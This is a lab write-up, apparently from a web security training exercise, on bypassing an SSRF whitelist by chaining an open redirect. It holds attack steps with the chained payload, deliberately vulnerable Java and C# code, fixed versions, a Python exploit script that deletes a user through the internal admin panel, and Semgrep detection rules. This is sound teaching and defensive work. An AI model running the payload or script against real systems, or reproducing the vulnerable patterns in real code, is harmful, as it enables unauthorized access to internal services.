Lab 05: SSRF with filter bypass via open redirection vulnerability
1. Executive Summary
Vulnerability: Server-Side Request Forgery (SSRF) chained with Open Redirection.
Description: The application features a stock checker that is strictly protected by a whitelist; it only allows requests directed at the local application’s domain. However, the application also contains an Open Redirection vulnerability in a different endpoint (/product/nextProduct?path=...). By passing the local Open Redirect URL into the stock checker, the initial validation passes because the domain is trusted. When the backend HTTP client fetches the URL, it receives a 302 Found response pointing to an internal IP. Because standard HTTP clients are configured to follow redirects by default, the server fetches the malicious internal destination, completely bypassing the initial URL validation filter.
Impact: Internal Network Compromise / Privilege Escalation. Attackers can pivot through the trusted domain to reach internal, restricted interfaces and execute administrative actions.
2. The Attack
Objective: Bypass the strict local-only SSRF filter using an Open Redirect to access the admin panel at 192.168.0.12:8080 and delete the user carlos.
- Reconnaissance (Testing the Filter):
- I intercepted the
POST /product/stockrequest. - I attempted standard SSRF payloads (e.g.,
stockApi=http://192.168.0.12:8080/admin). The server blocked the request, indicating strict validation ensuring the URL targets the local application.
- I intercepted the
- Discovering the Open Redirect:
- While browsing the application, I clicked the “Next product” link.
- I observed the URL structure:
/product/nextProduct?path=/product?productId=2. - I modified the
pathparameter to point to an external site (e.g.,http://example.com). The server returned a302 Foundredirecting me there. This confirmed an Open Redirection vulnerability.
- Chaining the Vulnerabilities:
- To bypass the stock checker’s filter, I needed to provide a URL that starts on the local domain but ends up at the target internal IP.
- I constructed the chained payload:
/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos.
- Exploitation:
- I submitted the chained payload into the
stockApiparameter. - The Validator’s View: The stock checker saw a local path (
/product/next...), which matched its strict whitelist, and approved the request. - The Fetcher’s View: The backend HTTP client requested the local URL, received a
302redirect tohttp://192.168.0.12:8080/admin..., and automatically followed it. - The internal admin panel was accessed, and the user
carloswas successfully deleted.
- I submitted the chained payload into the
3. Code Review
Vulnerability Analysis (Explanation):
This exploit relies on two separate flaws: failing to validate redirect destinations (Open Redirect) and failing to disable automatic redirect following in the backend HTTP client (SSRF Defense-in-Depth failure). The security check happens before the request is made, but the redirect happens during the request, rendering the initial check useless.
Java (Spring Boot)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// Flaw 1: Open Redirect Endpoint
@GetMapping("/product/nextProduct")
public void nextProduct(@RequestParam String path, HttpServletResponse response) throws IOException {
// VULNERABLE: Unvalidated redirect
response.sendRedirect(path);
}
// Flaw 2: SSRF Endpoint
@PostMapping("/product/stock")
public ResponseEntity<String> checkStock(@RequestParam String stockApi) {
try {
URL url = new URL("http://localhost:8080" + stockApi);
// The validator only checks if the initial URL targets localhost
if (!url.getHost().equals("localhost")) {
return ResponseEntity.status(403).body("Must target local application.");
}
// VULNERABLE: HttpURLConnection follows redirects by default for the same protocol
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
connection.setRequestMethod("GET");
InputStream inputStream = connection.getInputStream();
return ResponseEntity.ok(new String(inputStream.readAllBytes()));
} catch (Exception e) {
return ResponseEntity.status(500).build();
}
}
Technical Flow & Syntax Explanation:
response.sendRedirect(path): This method sets theLocationheader to whatever the user provided and sends a302status code. Because there is no validation, it’s an Open Redirect.url.getHost().equals("localhost"): This is a strict whitelist check. Because the attacker passes/product/nextProduct..., the host is implicitlylocalhost, so validation passes.connection.getInputStream(): When this executes,HttpURLConnectionconnects to the local endpoint, receives the302, reads the newLocationheader, and transparently opens a new connection to192.168.0.12:8080without re-running the validation logic.
C# (ASP.NET Core)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// Flaw 1: Open Redirect Endpoint
[HttpGet("product/nextProduct")]
public IActionResult NextProduct([FromQuery] string path)
{
// VULNERABLE: Trusting user input for redirection
return Redirect(path);
}
// Flaw 2: SSRF Endpoint
[HttpPost("product/stock")]
public async Task<IActionResult> CheckStock([FromForm] string stockApi)
{
if (!stockApi.StartsWith("/product/"))
{
return Forbid("Only local paths allowed.");
}
// VULNERABLE: HttpClient follows redirects by default
using (var client = new HttpClient())
{
var localBase = "http://localhost:5000";
var response = await client.GetStringAsync(localBase + stockApi);
return Content(response);
}
}
Technical Flow & Syntax Explanation:
return Redirect(path): In ASP.NET Core,Redirect()generates a302 Foundresponse using the unvalidatedpathstring.HttpClientdefault behavior: By default, the .NETHttpClientis configured with an underlyingHttpClientHandlerwhereAllowAutoRedirectis set totrue. It will follow up to 50 redirects automatically, completely bypassing theStartsWith("/product/")check on the subsequent requests.
Mock PR Comment
The stock checker is vulnerable to an SSRF filter bypass. The initial URL is validated, but because the backend HTTP client automatically follows redirects, an attacker can use the existing Open Redirect vulnerability in /product/nextProduct to bounce the request to a protected internal IP (192.168.0.12).
Recommendation: 1. Fix the Open Redirect by validating the path parameter against a whitelist of known relative URLs.
- Implement Defense-in-Depth for the SSRF endpoint by explicitly disabling automatic redirect following in the backend HTTP client.
4. The Fix
Explanation of the Fix:
To secure this mechanism, we must address the issue from both ends. First, we must disable automatic redirection in the HTTP client so that the backend never silently connects to unvalidated hosts. Second, we must fix the Open Redirect to ensure users cannot bounce traffic arbitrarily.
Secure Java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
@PostMapping("/product/stock")
public ResponseEntity<String> checkStock(@RequestParam String stockApi) {
try {
URL url = new URL("http://localhost:8080" + stockApi);
if (!url.getHost().equals("localhost")) {
return ResponseEntity.status(403).body("Must target local application.");
}
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
// SECURE: Explicitly disable following redirects
connection.setInstanceFollowRedirects(false);
connection.setRequestMethod("GET");
// If a 3xx response is returned, the client will NOT follow it,
// and an exception or the raw 3xx body will be handled safely below.
int status = connection.getResponseCode();
if (status >= 300 && status < 400) {
return ResponseEntity.status(403).body("Redirects are not allowed.");
}
InputStream inputStream = connection.getInputStream();
return ResponseEntity.ok(new String(inputStream.readAllBytes()));
} catch (Exception e) {
return ResponseEntity.status(500).build();
}
}
Technical Flow & Syntax Explanation:
connection.setInstanceFollowRedirects(false): This is the crucial defense. It instructs theHttpURLConnectionto stop processing if it encounters a30xstatus code. The attacker’s payload will simply return the redirect response to the server, rather than the server acting upon it.
Secure C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
[HttpPost("product/stock")]
public async Task<IActionResult> CheckStock([FromForm] string stockApi)
{
if (!stockApi.StartsWith("/product/"))
{
return Forbid();
}
// SECURE: Configure the handler to reject automatic redirects
var handler = new HttpClientHandler
{
AllowAutoRedirect = false
};
using (var client = new HttpClient(handler))
{
var localBase = "http://localhost:5000";
var response = await client.GetAsync(localBase + stockApi);
// SECURE: Manually check if the endpoint tried to redirect us
if ((int)response.StatusCode >= 300 && (int)response.StatusCode < 400)
{
return BadRequest("SSRF Attempt: Redirection blocked.");
}
var content = await response.Content.ReadAsStringAsync();
return Content(content);
}
}
Technical Flow & Syntax Explanation:
HttpClientHandler { AllowAutoRedirect = false }: By injecting a custom handler into theHttpClientconstructor, we override the dangerous default behavior. The client will now treat a302 Foundexactly like a200 OK—it will return the response object to the developer rather than silently making a second network request to the target IP.
5. Automation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python3
import argparse
import requests
import sys
def exploit_ssrf_open_redirect(url, target_ip, target_user):
stock_endpoint = f"{url.rstrip('/')}/product/stock"
# The internal endpoint we want to reach
internal_admin_url = f"http://{target_ip}:8080/admin/delete?username={target_user}"
# The chained payload using the Open Redirect to bounce to the internal URL
chained_payload = f"/product/nextProduct?path={internal_admin_url}"
data = {
"stockApi": chained_payload
}
print(f"[*] Targeting endpoint: {stock_endpoint}")
print(f"[*] Delivering Chained SSRF Payload: {chained_payload}")
try:
resp = requests.post(stock_endpoint, data=data)
if resp.status_code == 200:
print(f"[!!!] SUCCESS: Filter bypassed via redirect. User '{target_user}' should be deleted.")
else:
print(f"[-] Request failed with status code: {resp.status_code}")
except requests.exceptions.RequestException as e:
print(f"[-] A network error occurred: {e}")
sys.exit(1)
def main():
parser = argparse.ArgumentParser(description="Exploit SSRF via Open Redirection chaining.")
parser.add_argument("url", help="Lab URL")
parser.add_argument("--ip", default="192.168.0.12", help="Internal target IP (default: 192.168.0.12)")
parser.add_argument("--user", default="carlos", help="User to delete (default: carlos)")
args = parser.parse_args()
exploit_ssrf_open_redirect(args.url, args.ip, args.user)
if __name__ == "__main__":
main()
6. Static Analysis (Semgrep)
The Logic: To prevent this specific bypass, we want to detect when HTTP clients are instantiated without explicitly disabling automatic redirection, especially in contexts where they might be making backend calls based on user input.
Java Rule
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
rules:
- id: java-httpclient-auto-redirect
languages: [java]
message: |
An HTTP client is instantiated without explicitly disabling automatic redirect following.
If this client fetches URLs based on user input, it may be vulnerable to SSRF via Open Redirects.
Ensure 'setInstanceFollowRedirects(false)' is used or 'disableRedirectHandling()' is configured.
severity: WARNING
patterns:
- pattern-either:
- pattern: |
HttpURLConnection $CONN = (HttpURLConnection) $URL.openConnection();
...
$CONN.getInputStream();
- pattern: HttpClients.createDefault()
- pattern-not-inside: |
...
$CONN.setInstanceFollowRedirects(false);
...
Technical Flow & Syntax Explanation:
pattern-either: Looks for common Java HTTP client instantiations (HttpURLConnectionor Apache’sHttpClients.createDefault()).pattern-not-inside: This acts as a security enforcement check. If the code does not contain thesetInstanceFollowRedirects(false)call nearby, it flags the code, alerting the developer that the client will silently follow redirects.
C# Rule
1
2
3
4
5
6
7
8
9
10
11
12
13
14
rules:
- id: csharp-httpclient-auto-redirect
languages: [csharp]
message: |
HttpClient is instantiated without disabling AllowAutoRedirect.
This allows SSRF filters to be bypassed using Open Redirect vulnerabilities.
Pass an HttpClientHandler with AllowAutoRedirect = false.
severity: WARNING
patterns:
- pattern: new HttpClient()
- pattern-not-inside: |
var $HANDLER = new HttpClientHandler { AllowAutoRedirect = false };
...
new HttpClient($HANDLER);
Technical Flow & Syntax Explanation:
new HttpClient(): Identifies the default, parameterless instantiation of the C# HTTP client, which intrinsically enables automatic redirection.pattern-not-inside: Suppresses the warning only if the developer has explicitly constructed a handler whereAllowAutoRedirect = falseand passed it into theHttpClientconstructor.
